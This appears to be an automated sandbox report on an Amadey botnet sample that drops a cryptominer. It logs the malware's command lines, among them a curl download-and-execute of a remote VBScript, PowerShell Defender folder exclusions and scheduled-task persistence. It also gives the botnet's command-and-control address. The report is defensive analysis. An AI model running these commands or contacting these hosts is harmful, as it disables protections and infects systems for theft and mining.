cmd.exe (PID: 3052 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8176 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2944 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 344 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2756 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3244 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 416 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8056 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7404 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5000 cmdline: "C:\Windows\System32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

services64.exe (PID: 6264 cmdline: C:\Windows\system32\services64.exe MD5: 651396CF297F15A1F92EE0A29E27C4EA)

cmd.exe (PID: 928 cmdline: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5720 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6640 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4304 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7368 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1628 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost64.exe (PID: 7732 cmdline: C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe" MD5: A8638A5105C9A663B0D6918D64B3AD21)

cmd.exe (PID: 7596 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4420 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' MD5: 76CD6626DD8834BD4A42E6A565104DC2)

sihost64.exe (PID: 7844 cmdline: "C:\Windows\system32\Microsoft\Libs\sihost64.exe" MD5: 7112FD4E6B2CDD13C11B8B04A96769CB)

cmd.exe (PID: 8180 cmdline: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2720 cmdline: choice /C Y /N /D Y /T 3 MD5: 1A9804F0C374283B094E9E55DC5EE128)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\svchost64.exe	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1746285062.00000000048C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2302324520.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1763005271.0000000000961000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1749088265.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1722139585.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1789363065.0000000000C21000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000006B.00000000.2677511483.0000000000012000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
00000055.00000002.2682783373.000000000345A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
0000007A.00000002.2763019419.000000000340A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
00000001.00000002.1789584314.0000000000C21000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: miner2.0.exe PID: 5868	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: svchost64.exe PID: 5992	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: services64.exe PID: 6976	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: svchost64.exe PID: 6772	JoeSecurity_SilentXMRMiner	Yara detected SilentXMRMiner	Joe Security
Process Memory Space: svchost64.exe PID: 6772	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Process Memory Space: svchost64.exe PID: 7732	JoeSecurity_SilentXMRMiner	Yara detected SilentXMRMiner	Joe Security
Process Memory Space: svchost64.exe PID: 7732	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
85.2.miner2.0.exe.347b538.1.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.3434b28.1.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.3434b28.1.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.3421e28.2.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.342b490.0.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
85.2.miner2.0.exe.3484bd0.2.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.342b490.0.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
85.2.miner2.0.exe.347b538.1.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
85.2.miner2.0.exe.3471ed0.0.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
122.2.services64.exe.3421e28.2.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
85.2.miner2.0.exe.3484bd0.2.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
107.0.svchost64.exe.10000.0.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
85.2.miner2.0.exe.3471ed0.0.raw.unpack	JoeSecurity_bitcoinminer	Yara detected BitCoin Miner	Joe Security
2.2.axplong.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.axplong.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.960000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.axplong.exe.c20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Curl Download And Execute Combination

Source: Process started

Author: Sreeman, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, CommandLine: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe, ParentProcessId: 1748, ParentProcessName: loader_5879465914.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, ProcessId: 4408, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe", ParentImage: C:\Users\user\AppData\Local\Temp\svchost64.exe, ParentProcessId: 5992, ParentProcessName: svchost64.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit, ProcessId: 7224, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit, CommandLine: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: miner2.0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\miner2.0.exe, ParentProcessId: 5868, ParentProcessName: miner2.0.exe, ProcessCommandLine: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit, ProcessId: 8080, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp', ProcessId: 8116, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f, CommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: cscript conf.vbs, ParentImage: C:\Windows\System32\cscript.exe, ParentProcessId: 7692, ParentProcessName: cscript.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f, ProcessId: 7580, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, CommandLine: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe, ParentProcessId: 1748, ParentProcessName: loader_5879465914.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, ProcessId: 4408, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: cscript conf.vbs, CommandLine: cscript conf.vbs, CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4408, ParentProcessName: cmd.exe, ProcessCommandLine: cscript conf.vbs, ProcessId: 7692, ProcessName: cscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8080, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user', ProcessId: 4496, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T17:42:05.763405+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49738	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T17:42:03.185010+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49737	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T17:42:03.422402+0200	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.4	49737	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T17:42:03.636291+0200	2803305	3	Unknown Traffic	192.168.2.4	49737	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/Jo89Ku7d/index.php

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000003.1746285062.00000000048C0000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Code function: 7_2_00402559 CryptBinaryToStringA,malloc,CryptBinaryToStringA,		7_2_00402559
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Code function: 7_2_00402607 CryptStringToBinaryA,malloc,CryptStringToBinaryA,free,		7_2_00402607

Bitcoin Miner

Yara detected BitCoin Miner

Source: Yara match	File source: 85.2.miner2.0.exe.347b538.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.3434b28.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.3434b28.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.3421e28.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.342b490.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.miner2.0.exe.3484bd0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.342b490.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.miner2.0.exe.347b538.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.miner2.0.exe.3471ed0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 122.2.services64.exe.3421e28.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.miner2.0.exe.3484bd0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 107.0.svchost64.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 85.2.miner2.0.exe.3471ed0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000006B.00000000.2677511483.0000000000012000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000055.00000002.2682783373.000000000345A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000007A.00000002.2763019419.000000000340A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: miner2.0.exe PID: 5868, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost64.exe PID: 5992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: services64.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost64.exe PID: 6772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost64.exe PID: 7732, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\svchost64.exe, type: DROPPED

Yara detected SilentXMRMiner

Source: Yara match	File source: Process Memory Space: svchost64.exe PID: 6772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost64.exe PID: 7732, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: svchost64.exe, 0000008B.00000002.2788969573.000000000375D000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: I/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zipp

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.187.100:443 -> 192.168.2.4:49801 version: TLS 1.2
